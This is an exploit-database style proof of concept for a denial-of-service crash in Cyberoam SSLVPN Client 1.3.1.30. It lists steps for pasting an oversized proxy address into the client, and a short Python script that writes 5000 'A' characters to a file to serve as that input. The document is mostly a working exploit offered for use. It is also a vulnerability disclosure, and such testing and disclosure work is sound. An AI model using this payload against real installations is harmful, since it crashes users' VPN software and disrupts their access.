Cyberoam SSLVPN Client 1.3.1.30 – ‘HTTP Proxy’ Denial of Service (PoC)
#Exploit Title: Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-23 #Vendor Homepage: https://www.cyberoam.com #Software Link: https://download.cyberoam.com/solution/optionals/i18n/CrSSL_v1.3.1.30.zip #Tested Version: 1.3.1.30 #Tested on: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: c_sslvpn_http.py #2.- Open c_sslvpn_http.txt and copy content to clipboard #3.- Open Cyberoam SSLVPN Client #4.- Select Proxy Settings > Enable "Manual Configuration" #5.- In "HTTP Proxy" address field paste Clipboard #6.- In "Port" type 80 #7.- Select "OK" #8.- Crashed! cod = "\x41" * 5000 f = open('c_sslvpn_http.txt', 'w') f.write(cod) f.close() |